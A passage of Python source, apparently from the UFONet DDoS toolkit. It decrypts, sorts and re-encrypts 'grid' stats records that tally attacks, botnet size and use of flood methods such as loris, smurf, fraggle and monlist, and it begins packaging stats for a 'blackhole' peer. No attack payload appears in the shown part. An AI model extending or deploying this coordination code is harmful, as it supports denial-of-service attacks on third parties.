5215
nodec_num = 0
5216
try:
5217
grid_items=[]
5218
with open(self.grid_file) as f:
5219
ls = f.read().splitlines()
5220
f.close()
5221
f = open(self.grid_file,"w")
5222
for j in ls:
5223
if grid_msg_sep in j:
5224
version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
5225
m = j.split(grid_msg_sep)
5226
grid_nickname = m[0] # nickname
5227
self.decrypt(grid_key, grid_nickname)
5228
if self.decryptedtext:
5229
grid_nickname = str(self.decryptedtext)
5230
else:
5231
grid_nickname = nodec_text
5232
self.decryptedtext = "" # clean decryptedtext buffer
5233
grid_ranking = m[1] # ranking
5234
self.decrypt(grid_key, grid_ranking)
5235
if self.decryptedtext:
5236
try:
5237
grid_ranking = int(self.decryptedtext)
5238
except:
5239
grid_ranking = nodec_num
5240
else:
5241
grid_ranking = nodec_num
5242
self.decryptedtext = "" # clean decryptedtext buffer
5243
grid_totalchargo = m[2] # total chargo
5244
self.decrypt(grid_key, grid_totalchargo)
5245
if self.decryptedtext:
5246
try:
5247
grid_totalchargo = int(self.decryptedtext)
5248
except:
5249
grid_totalchargo = nodec_num
5250
else:
5251
grid_totalchargo = nodec_num
5252
self.decryptedtext = "" # clean decryptedtext buffer
5253
grid_dorking = m[3] # dorking
5254
self.decrypt(grid_key, grid_dorking)
5255
if self.decryptedtext:
5256
try:
5257
grid_dorking = int(self.decryptedtext)
5258
except:
5259
grid_dorking = nodec_num
5260
else:
5261
grid_dorking = nodec_num
5262
self.decryptedtext = "" # clean decryptedtext buffer
5263
grid_transferred = m[4] # transferred
5264
self.decrypt(grid_key, grid_transferred)
5265
if self.decryptedtext:
5266
try:
5267
grid_transferred = int(self.decryptedtext)
5268
except:
5269
grid_transferred = nodec_num
5270
else:
5271
grid_transferred = nodec_num
5272
self.decryptedtext = "" # clean decryptedtext buffer
5273
grid_maxchargo = m[5] # maxchargo
5274
self.decrypt(grid_key, grid_maxchargo)
5275
if self.decryptedtext:
5276
try:
5277
grid_maxchargo = int(self.decryptedtext)
5278
except:
5279
grid_maxchargo = nodec_num
5280
else:
5281
grid_maxchargo = nodec_num
5282
self.decryptedtext = "" # clean decryptedtext buffer
5283
grid_missions = m[6] # missions
5284
self.decrypt(grid_key, grid_missions)
5285
if self.decryptedtext:
5286
try:
5287
grid_missions = int(self.decryptedtext)
5288
except:
5289
grid_missions = nodec_num
5290
else:
5291
grid_missions = nodec_num
5292
self.decryptedtext = "" # clean decryptedtext buffer
5293
grid_attacks = m[7] # attacks
5294
self.decrypt(grid_key, grid_attacks)
5295
if self.decryptedtext:
5296
try:
5297
grid_attacks = int(self.decryptedtext)
5298
except:
5299
grid_attacks = nodec_num
5300
else:
5301
grid_attacks = nodec_num
5302
self.decryptedtext = "" # clean decryptedtext buffer
5303
grid_loic = m[8] # loic
5304
self.decrypt(grid_key, grid_loic)
5305
if self.decryptedtext:
5306
try:
5307
grid_loic = int(self.decryptedtext)
5308
except:
5309
grid_loic = nodec_num
5310
else:
5311
grid_loic = nodec_num
5312
if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
5313
grid_loris = m[9] # loris
5314
self.decrypt(grid_key, grid_loris)
5315
if self.decryptedtext:
5316
try:
5317
grid_loris = int(self.decryptedtext)
5318
except:
5319
grid_loris = nodec_num
5320
else:
5321
grid_loris = nodec_num
5322
self.decryptedtext = "" # clean decryptedtext buffer
5323
else:
5324
grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
5325
self.decrypt(grid_key, grid_loris)
5326
if self.decryptedtext:
5327
try:
5328
grid_loris = int(self.decryptedtext)
5329
except:
5330
grid_loris = nodec_num
5331
else:
5332
grid_loris = nodec_num
5333
self.decryptedtext = "" # clean decryptedtext buffer
5334
if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
5335
grid_ufosyn = m[10] # ufosyn
5336
self.decrypt(grid_key, grid_ufosyn)
5337
if self.decryptedtext:
5338
try:
5339
grid_ufosyn = int(self.decryptedtext)
5340
except:
5341
grid_ufosyn = nodec_num
5342
else:
5343
grid_ufosyn = nodec_num
5344
self.decryptedtext = "" # clean decryptedtext buffer
5345
else:
5346
grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
5347
self.decrypt(grid_key, grid_ufosyn)
5348
if self.decryptedtext:
5349
try:
5350
grid_ufosyn = int(self.decryptedtext)
5351
except:
5352
grid_ufosyn = nodec_num
5353
else:
5354
grid_ufosyn = nodec_num
5355
self.decryptedtext = "" # clean decryptedtext buffer
5356
if version > 17 or version == 17 or version == 16 or version == 15:
5357
grid_spray = m[11] # spray
5358
self.decrypt(grid_key, grid_spray)
5359
if self.decryptedtext:
5360
try:
5361
grid_spray = int(self.decryptedtext)
5362
except:
5363
grid_spray = nodec_num
5364
else:
5365
grid_spray = nodec_num
5366
self.decryptedtext = "" # clean decryptedtext buffer
5367
else:
5368
grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
5369
self.decrypt(grid_key, grid_spray)
5370
if self.decryptedtext:
5371
try:
5372
grid_spray = int(self.decryptedtext)
5373
except:
5374
grid_spray = nodec_num
5375
else:
5376
grid_spray = nodec_num
5377
self.decryptedtext = "" # clean decryptedtext buffer
5378
if version > 17 or version == 17 or version == 16 or version == 15:
5379
grid_smurf = m[12] # smurf
5380
self.decrypt(grid_key, grid_smurf)
5381
if self.decryptedtext:
5382
try:
5383
grid_smurf = int(self.decryptedtext)
5384
except:
5385
grid_smurf = nodec_num
5386
else:
5387
grid_smurf = nodec_num
5388
self.decryptedtext = "" # clean decryptedtext buffer
5389
else:
5390
grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
5391
self.decrypt(grid_key, grid_smurf)
5392
if self.decryptedtext:
5393
try:
5394
grid_smurf = int(self.decryptedtext)
5395
except:
5396
grid_smurf = nodec_num
5397
else:
5398
grid_smurf = nodec_num
5399
self.decryptedtext = "" # clean decryptedtext buffer
5400
if version > 17 or version == 17 or version == 16 or version == 15:
5401
grid_xmas = m[13] # xmas
5402
self.decrypt(grid_key, grid_xmas)
5403
if self.decryptedtext:
5404
try:
5405
grid_xmas = int(self.decryptedtext)
5406
except:
5407
grid_xmas = nodec_num
5408
else:
5409
grid_xmas = nodec_num
5410
self.decryptedtext = "" # clean decryptedtext buffer
5411
else:
5412
grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
5413
self.decrypt(grid_key, grid_xmas)
5414
if self.decryptedtext:
5415
try:
5416
grid_xmas = int(self.decryptedtext)
5417
except:
5418
grid_xmas = nodec_num
5419
else:
5420
grid_xmas = nodec_num
5421
self.decryptedtext = "" # clean decryptedtext buffer
5422
if version > 17 or version == 17 or version == 16:
5423
grid_nuke = m[14] # nuke
5424
self.decrypt(grid_key, grid_nuke)
5425
if self.decryptedtext:
5426
try:
5427
grid_nuke = int(self.decryptedtext)
5428
except:
5429
grid_nuke = nodec_num
5430
else:
5431
grid_nuke = nodec_num
5432
self.decryptedtext = "" # clean decryptedtext buffer
5433
else:
5434
grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
5435
self.decrypt(grid_key, grid_nuke)
5436
if self.decryptedtext:
5437
try:
5438
grid_nuke = int(self.decryptedtext)
5439
except:
5440
grid_nuke = nodec_num
5441
else:
5442
grid_nuke = nodec_num
5443
self.decryptedtext = "" # clean decryptedtext buffer
5444
if version > 17 or version == 17:
5445
grid_tachyon = m[15] # tachyon
5446
self.decrypt(grid_key, grid_tachyon)
5447
if self.decryptedtext:
5448
try:
5449
grid_tachyon = int(self.decryptedtext)
5450
except:
5451
grid_tachyon = nodec_num
5452
else:
5453
grid_tachyon = nodec_num
5454
self.decryptedtext = "" # clean decryptedtext buffer
5455
else:
5456
grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
5457
self.decrypt(grid_key, grid_tachyon)
5458
if self.decryptedtext:
5459
try:
5460
grid_tachyon = int(self.decryptedtext)
5461
except:
5462
grid_tachyon = nodec_num
5463
else:
5464
grid_tachyon = nodec_num
5465
self.decryptedtext = "" # clean decryptedtext buffer
5466
if version > 17: # current version = 26
5467
grid_monlist = m[16] # monlist
5468
self.decrypt(grid_key, grid_monlist)
5469
if self.decryptedtext:
5470
try:
5471
grid_monlist = int(self.decryptedtext)
5472
except:
5473
grid_monlist = nodec_num
5474
else:
5475
grid_monlist = nodec_num
5476
self.decryptedtext = "" # clean decryptedtext buffer
5477
grid_fraggle = m[17] # fraggle
5478
self.decrypt(grid_key, grid_fraggle)
5479
if self.decryptedtext:
5480
try:
5481
grid_fraggle = int(self.decryptedtext)
5482
except:
5483
grid_fraggle = nodec_num
5484
else:
5485
grid_fraggle = nodec_num
5486
self.decryptedtext = "" # clean decryptedtext buffer
5487
grid_sniper = m[18] # sniper
5488
self.decrypt(grid_key, grid_sniper)
5489
if self.decryptedtext:
5490
try:
5491
grid_sniper = int(self.decryptedtext)
5492
except:
5493
grid_sniper = nodec_num
5494
else:
5495
grid_sniper = nodec_num
5496
self.decryptedtext = "" # clean decryptedtext buffer
5497
grid_ufoack = m[19] # ufoack
5498
self.decrypt(grid_key, grid_ufoack)
5499
if self.decryptedtext:
5500
try:
5501
grid_ufoack = int(self.decryptedtext)
5502
except:
5503
grid_ufoack = nodec_num
5504
else:
5505
grid_ufoack = nodec_num
5506
self.decryptedtext = "" # clean decryptedtext buffer
5507
grid_uforst = m[20] # uforst
5508
self.decrypt(grid_key, grid_uforst)
5509
if self.decryptedtext:
5510
try:
5511
grid_uforst = int(self.decryptedtext)
5512
except:
5513
grid_uforst = nodec_num
5514
else:
5515
grid_uforst = nodec_num
5516
self.decryptedtext = "" # clean decryptedtext buffer
5517
grid_droper = m[21] # droper
5518
self.decrypt(grid_key, grid_droper)
5519
if self.decryptedtext:
5520
try:
5521
grid_droper = int(self.decryptedtext)
5522
except:
5523
grid_droper = nodec_num
5524
else:
5525
grid_droper = nodec_num
5526
self.decryptedtext = "" # clean decryptedtext buffer
5527
grid_overlap = m[22] # overlap
5528
self.decrypt(grid_key, grid_overlap)
5529
if self.decryptedtext:
5530
try:
5531
grid_overlap = int(self.decryptedtext)
5532
except:
5533
grid_overlap = nodec_num
5534
else:
5535
grid_overlap = nodec_num
5536
self.decryptedtext = "" # clean decryptedtext buffer
5537
grid_pinger = m[23] # pinger
5538
self.decrypt(grid_key, grid_pinger)
5539
if self.decryptedtext:
5540
try:
5541
grid_pinger = int(self.decryptedtext)
5542
except:
5543
grid_pinger = nodec_num
5544
else:
5545
grid_pinger = nodec_num
5546
self.decryptedtext = "" # clean decryptedtext buffer
5547
grid_ufoudp = m[24] # ufoudp
5548
self.decrypt(grid_key, grid_ufoudp)
5549
if self.decryptedtext:
5550
try:
5551
grid_ufoudp = int(self.decryptedtext)
5552
except:
5553
grid_ufoudp = nodec_num
5554
else:
5555
grid_ufoudp = nodec_num
5556
self.decryptedtext = "" # clean decryptedtext buffer
5557
else:
5558
grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
5559
self.decrypt(grid_key, grid_monlist)
5560
if self.decryptedtext:
5561
try:
5562
grid_monlist = int(self.decryptedtext)
5563
except:
5564
grid_monlist = nodec_num
5565
else:
5566
grid_monlist = nodec_num
5567
self.decryptedtext = "" # clean decryptedtext buffer
5568
grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present
5569
self.decrypt(grid_key, grid_fraggle)
5570
if self.decryptedtext:
5571
try:
5572
grid_fraggle = int(self.decryptedtext)
5573
except:
5574
grid_fraggle = nodec_num
5575
else:
5576
grid_fraggle = nodec_num
5577
self.decryptedtext = "" # clean decryptedtext buffer
5578
grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present
5579
self.decrypt(grid_key, grid_sniper)
5580
if self.decryptedtext:
5581
try:
5582
grid_sniper = int(self.decryptedtext)
5583
except:
5584
grid_sniper = nodec_num
5585
else:
5586
grid_sniper = nodec_num
5587
self.decryptedtext = "" # clean decryptedtext buffer
5588
grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present
5589
self.decrypt(grid_key, grid_ufoack)
5590
if self.decryptedtext:
5591
try:
5592
grid_ufoack = int(self.decryptedtext)
5593
except:
5594
grid_ufoack = nodec_num
5595
else:
5596
grid_ufoack = nodec_num
5597
self.decryptedtext = "" # clean decryptedtext buffer
5598
grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present
5599
self.decrypt(grid_key, grid_uforst)
5600
if self.decryptedtext:
5601
try:
5602
grid_uforst = int(self.decryptedtext)
5603
except:
5604
grid_uforst = nodec_num
5605
else:
5606
grid_uforst = nodec_num
5607
self.decryptedtext = "" # clean decryptedtext buffer
5608
grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present
5609
self.decrypt(grid_key, grid_droper)
5610
if self.decryptedtext:
5611
try:
5612
grid_droper = int(self.decryptedtext)
5613
except:
5614
grid_droper = nodec_num
5615
else:
5616
grid_droper = nodec_num
5617
self.decryptedtext = "" # clean decryptedtext buffer
5618
grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present
5619
self.decrypt(grid_key, grid_overlap)
5620
if self.decryptedtext:
5621
try:
5622
grid_overlap = int(self.decryptedtext)
5623
except:
5624
grid_overlap = nodec_num
5625
else:
5626
grid_overlap = nodec_num
5627
self.decryptedtext = "" # clean decryptedtext buffer
5628
grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present
5629
self.decrypt(grid_key, grid_pinger)
5630
if self.decryptedtext:
5631
try:
5632
grid_pinger = int(self.decryptedtext)
5633
except:
5634
grid_pinger = nodec_num
5635
else:
5636
grid_pinger = nodec_num
5637
self.decryptedtext = "" # clean decryptedtext buffer
5638
grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present
5639
self.decrypt(grid_key, grid_ufoudp)
5640
if self.decryptedtext:
5641
try:
5642
grid_ufoudp = int(self.decryptedtext)
5643
except:
5644
grid_ufoudp = nodec_num
5645
else:
5646
grid_ufoudp = nodec_num
5647
self.decryptedtext = "" # clean decryptedtext buffer
5648
if version > 17:
5649
grid_contact = m[25] # contact
5650
self.decrypt(grid_key, grid_contact)
5651
if self.decryptedtext:
5652
grid_contact = self.decryptedtext
5653
else:
5654
grid_contact = nodec_text
5655
self.decryptedtext = "" # clean decryptedtext buffer
5656
grid_id = m[26] # id
5657
elif version == 17:
5658
grid_contact = m[16] # contact
5659
self.decrypt(grid_key, grid_contact)
5660
if self.decryptedtext:
5661
grid_contact = self.decryptedtext
5662
else:
5663
grid_contact = nodec_text
5664
self.decryptedtext = "" # clean decryptedtext buffer
5665
grid_id = m[17] # id
5666
elif version == 16:
5667
grid_contact = m[15] # contact
5668
self.decrypt(grid_key, grid_contact)
5669
if self.decryptedtext:
5670
grid_contact = self.decryptedtext
5671
else:
5672
grid_contact = nodec_text
5673
self.decryptedtext = "" # clean decryptedtext buffer
5674
grid_id = m[16] # id
5675
elif version == 15:
5676
grid_contact = m[14] # contact
5677
self.decrypt(grid_key, grid_contact)
5678
if self.decryptedtext:
5679
grid_contact = self.decryptedtext
5680
else:
5681
grid_contact = nodec_text
5682
self.decryptedtext = "" # clean decryptedtext buffer
5683
grid_id = m[15] # id
5684
elif version == 12:
5685
grid_contact = m[11] # contact
5686
self.decrypt(grid_key, grid_contact)
5687
if self.decryptedtext:
5688
grid_contact = self.decryptedtext
5689
else:
5690
grid_contact = nodec_text
5691
self.decryptedtext = "" # clean decryptedtext buffer
5692
grid_id = m[12] # id
5693
elif version == 11:
5694
grid_contact = m[10] # contact
5695
self.decrypt(grid_key, grid_contact)
5696
if self.decryptedtext:
5697
grid_contact = self.decryptedtext
5698
else:
5699
grid_contact = nodec_text
5700
self.decryptedtext = "" # clean decryptedtext buffer
5701
grid_id = m[11] # id
5702
elif version == 10:
5703
grid_contact = m[9] # contact
5704
self.decrypt(grid_key, grid_contact)
5705
if self.decryptedtext:
5706
grid_contact = self.decryptedtext
5707
else:
5708
grid_contact = nodec_text
5709
self.decryptedtext = "" # clean decryptedtext buffer
5710
grid_id = m[10] # id
5711
else:
5712
grid_contact = nodec_text
5713
grid_id = '6666666666666666666666666666666666666' # fake id
5714
grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),int(grid_fraggle),int(grid_sniper),int(grid_ufoack),int(grid_uforst),int(grid_droper),int(grid_overlap),int(grid_pinger),int(grid_ufoudp),str(grid_contact),str(grid_id)])
5715
if grid_filter == "nickname":
5716
grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
5717
elif grid_filter == "ranking":
5718
grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
5719
elif grid_filter == "chargo":
5720
grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
5721
elif grid_filter == "dorking":
5722
grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
5723
elif grid_filter == "transferred":
5724
grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
5725
elif grid_filter == "maxchargo":
5726
grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
5727
elif grid_filter == "missions":
5728
grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
5729
elif grid_filter == "attacks":
5730
grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
5731
elif grid_filter == "loic":
5732
grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
5733
elif grid_filter == "loris":
5734
grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
5735
elif grid_filter == "ufosyn":
5736
grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
5737
elif grid_filter == "spray":
5738
grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
5739
elif grid_filter == "smurf":
5740
grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
5741
elif grid_filter == "xmas":
5742
grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
5743
elif grid_filter == "nuke":
5744
grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke
5745
elif grid_filter == "tachyon":
5746
grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon
5747
elif grid_filter == "monlist":
5748
grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by monlist
5749
elif grid_filter == "fraggle":
5750
grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by fraggle
5751
elif grid_filter == "sniper":
5752
grid_items=sorted(grid_items,key=lambda x:x[18]) # sorted by sniper
5753
elif grid_filter == "ufoack":
5754
grid_items=sorted(grid_items,key=lambda x:x[19]) # sorted by ufoack
5755
elif grid_filter == "uforst":
5756
grid_items=sorted(grid_items,key=lambda x:x[20]) # sorted by uforst
5757
elif grid_filter == "droper":
5758
grid_items=sorted(grid_items,key=lambda x:x[21]) # sorted by droper
5759
elif grid_filter == "overlap":
5760
grid_items=sorted(grid_items,key=lambda x:x[22]) # sorted by overlap
5761
elif grid_filter == "pinger":
5762
grid_items=sorted(grid_items,key=lambda x:x[23]) # sorted by pinger
5763
elif grid_filter == "ufoudp":
5764
grid_items=sorted(grid_items,key=lambda x:x[24]) # sorted by ufoudp
5765
elif grid_filter == "contact":
5766
grid_items=sorted(grid_items,key=lambda x:x[25]) # sorted by contact
5767
else:
5768
grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
5769
for i in grid_items:
5770
grid_nickname = str(i[0])
5771
self.encrypt(grid_key, grid_nickname)
5772
if self.encryptedtext:
5773
grid_nickname = self.encryptedtext
5774
self.encryptedtext = "" # clean encryptedtext buffer
5775
grid_ranking = str(i[1])
5776
self.encrypt(grid_key, grid_ranking)
5777
if self.encryptedtext:
5778
grid_ranking = self.encryptedtext
5779
self.encryptedtext = "" # clean encryptedtext buffer
5780
grid_totalchargo = str(i[2])
5781
self.encrypt(grid_key, grid_totalchargo)
5782
if self.encryptedtext:
5783
grid_totalchargo = self.encryptedtext
5784
self.encryptedtext = "" # clean encryptedtext buffer
5785
grid_dorking = str(i[3])
5786
self.encrypt(grid_key, grid_dorking)
5787
if self.encryptedtext:
5788
grid_dorking = self.encryptedtext
5789
self.encryptedtext = "" # clean encryptedtext buffer
5790
grid_transferred = str(i[4])
5791
self.encrypt(grid_key, grid_transferred)
5792
if self.encryptedtext:
5793
grid_transferred = self.encryptedtext
5794
self.encryptedtext = "" # clean encryptedtext buffer
5795
grid_maxchargo = str(i[5])
5796
self.encrypt(grid_key, grid_maxchargo)
5797
if self.encryptedtext:
5798
grid_maxchargo = self.encryptedtext
5799
self.encryptedtext = "" # clean encryptedtext buffer
5800
grid_missions = str(i[6])
5801
self.encrypt(grid_key, grid_missions)
5802
if self.encryptedtext:
5803
grid_missions = self.encryptedtext
5804
self.encryptedtext = "" # clean encryptedtext buffer
5805
grid_attacks = str(i[7])
5806
self.encrypt(grid_key, grid_attacks)
5807
if self.encryptedtext:
5808
grid_attacks = self.encryptedtext
5809
self.encryptedtext = "" # clean encryptedtext buffer
5810
grid_loic = str(i[8])
5811
self.encrypt(grid_key, grid_loic)
5812
if self.encryptedtext:
5813
grid_loic = self.encryptedtext
5814
self.encryptedtext = "" # clean encryptedtext buffer
5815
grid_loris = str(i[9])
5816
self.encrypt(grid_key, grid_loris)
5817
if self.encryptedtext:
5818
grid_loris = self.encryptedtext
5819
self.encryptedtext = "" # clean encryptedtext buffer
5820
grid_ufosyn = str(i[10])
5821
self.encrypt(grid_key, grid_ufosyn)
5822
if self.encryptedtext:
5823
grid_ufosyn = self.encryptedtext
5824
self.encryptedtext = "" # clean encryptedtext buffer
5825
grid_spray = str(i[11])
5826
self.encrypt(grid_key, grid_spray)
5827
if self.encryptedtext:
5828
grid_spray = self.encryptedtext
5829
self.encryptedtext = "" # clean encryptedtext buffer
5830
grid_smurf = str(i[12])
5831
self.encrypt(grid_key, grid_smurf)
5832
if self.encryptedtext:
5833
grid_smurf = self.encryptedtext
5834
self.encryptedtext = "" # clean encryptedtext buffer
5835
grid_xmas = str(i[13])
5836
self.encrypt(grid_key, grid_xmas)
5837
if self.encryptedtext:
5838
grid_xmas = self.encryptedtext
5839
self.encryptedtext = "" # clean encryptedtext buffer
5840
grid_nuke = str(i[14])
5841
self.encrypt(grid_key, grid_nuke)
5842
if self.encryptedtext:
5843
grid_nuke = self.encryptedtext
5844
self.encryptedtext = "" # clean encryptedtext buffer
5845
grid_tachyon = str(i[15])
5846
self.encrypt(grid_key, grid_tachyon)
5847
if self.encryptedtext:
5848
grid_tachyon = self.encryptedtext
5849
self.encryptedtext = "" # clean encryptedtext buffer
5850
grid_monlist = str(i[16])
5851
self.encrypt(grid_key, grid_monlist)
5852
if self.encryptedtext:
5853
grid_monlist = self.encryptedtext
5854
self.encryptedtext = "" # clean encryptedtext buffer
5855
grid_fraggle = str(i[17])
5856
self.encrypt(grid_key, grid_fraggle)
5857
if self.encryptedtext:
5858
grid_fraggle = self.encryptedtext
5859
self.encryptedtext = "" # clean encryptedtext buffer
5860
grid_sniper = str(i[18])
5861
self.encrypt(grid_key, grid_sniper)
5862
if self.encryptedtext:
5863
grid_sniper = self.encryptedtext
5864
self.encryptedtext = "" # clean encryptedtext buffer
5865
grid_ufoack = str(i[19])
5866
self.encrypt(grid_key, grid_ufoack)
5867
if self.encryptedtext:
5868
grid_ufoack = self.encryptedtext
5869
self.encryptedtext = "" # clean encryptedtext buffer
5870
grid_uforst = str(i[20])
5871
self.encrypt(grid_key, grid_uforst)
5872
if self.encryptedtext:
5873
grid_uforst = self.encryptedtext
5874
self.encryptedtext = "" # clean encryptedtext buffer
5875
grid_droper = str(i[21])
5876
self.encrypt(grid_key, grid_droper)
5877
if self.encryptedtext:
5878
grid_droper = self.encryptedtext
5879
self.encryptedtext = "" # clean encryptedtext buffer
5880
grid_overlap = str(i[22])
5881
self.encrypt(grid_key, grid_overlap)
5882
if self.encryptedtext:
5883
grid_overlap = self.encryptedtext
5884
self.encryptedtext = "" # clean encryptedtext buffer
5885
grid_pinger = str(i[23])
5886
self.encrypt(grid_key, grid_pinger)
5887
if self.encryptedtext:
5888
grid_pinger = self.encryptedtext
5889
self.encryptedtext = "" # clean encryptedtext buffer
5890
grid_ufoudp = str(i[24])
5891
self.encrypt(grid_key, grid_ufoudp)
5892
if self.encryptedtext:
5893
grid_ufoudp = self.encryptedtext
5894
self.encryptedtext = "" # clean encryptedtext buffer
5895
grid_contact = str(i[25])
5896
self.encrypt(grid_key, grid_contact)
5897
if self.encryptedtext:
5898
grid_contact = self.encryptedtext
5899
self.encryptedtext = "" # clean encryptedtext buffer
5900
grid_id = str(i[26]) # id (plain id)
5901
l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_fraggle) + "#?#" + str(grid_sniper) + "#?#" + str(grid_ufoack) + "#?#" + str(grid_uforst) + "#?#" + str(grid_droper) + "#?#" + str(grid_overlap) + "#?#" + str(grid_pinger) + "#?#" + str(grid_ufoudp) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
5902
f.write(l + os.linesep)
5903
f.close()
5904
except:
5905
pass
5906
if page == "/cmd_grid_filter_update":
5907
if not os.path.exists('/tmp/out'):
5908
open('/tmp/out', 'w').close()
5909
with open('/tmp/out', 'r') as f:
5910
self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
5911
if page == "/cmd_transfer_grid":
5912
self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
5913
blackhole_ip = pGet["grid_source"]
5914
blackhole_ip = urllib.parse.unquote(blackhole_ip)
5915
try:
5916
grid_key = pGet["grid_key"]
5917
except:
5918
grid_key = ""
5919
end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
5920
if grid_key != "": # stream creation + encryption + package send
5921
try:
5922
grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
5923
grid_data = json.load(grid_json_file)
5924
grid_json_file.close()
5925
stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
5926
stats_data = json.load(stats_json_file)
5927
stats_json_file.close()
5928
nickname = grid_data["grid_nick"].encode('utf-8')
5929
self.encrypt(grid_key, nickname)
5930
if self.encryptedtext:
5931
nickname = self.encryptedtext
5932
self.encryptedtext = "" # clean encryptedtext buffer
5933
ranking = self.ranking
5934
if ranking == "Rookie":
5935
ranking = 1
5936
elif ranking == "Mercenary":
5937
ranking = 2
5938
elif ranking == "Bandit":
5939
ranking = 3
5940
elif ranking == "UFOmmander!":
5941
ranking = 4
5942
elif ranking == "UFOl33t!":
5943
ranking = 5
5944
else:
5945
ranking = 1
5946
self.encrypt(grid_key, str(ranking))
5947
if self.encryptedtext:
5948
ranking = self.encryptedtext
5949
self.encryptedtext = "" # clean encryptedtext buffer
5950
chargo = self.total_botnet
5951
self.encrypt(grid_key, str(chargo))
5952
if self.encryptedtext:
5953
chargo = self.encryptedtext
5954
self.encryptedtext = "" # clean encryptedtext buffer
5955
dorking = stats_data["scanner"]
5956
self.encrypt(grid_key, str(dorking))
5957
if self.encryptedtext:
5958
dorking = self.encryptedtext
5959
self.encryptedtext = "" # clean encryptedtext buffer
5960
transferred = stats_data["transferred"]
5961
self.encrypt(grid_key, str(transferred))
5962
if self.encryptedtext:
5963
transferred = self.encryptedtext
5964
self.encryptedtext = "" # clean encryptedtext buffer
5965
max_chargo = stats_data["max_chargo"]
5966
self.encrypt(grid_key, str(max_chargo))
5967
if self.encryptedtext:
5968
max_chargo = self.encryptedtext
5969
self.encryptedtext = "" # clean encryptedtext buffer
5970
missions = stats_data["missions"]
5971
self.encrypt(grid_key, str(missions))
5972
if self.encryptedtext:
5973
missions = self.encryptedtext
5974
self.encryptedtext = "" # clean encryptedtext buffer
5975
attacks = stats_data["completed"]
5976
self.encrypt(grid_key, str(attacks))
5977
if self.encryptedtext:
5978
attacks = self.encryptedtext
5979
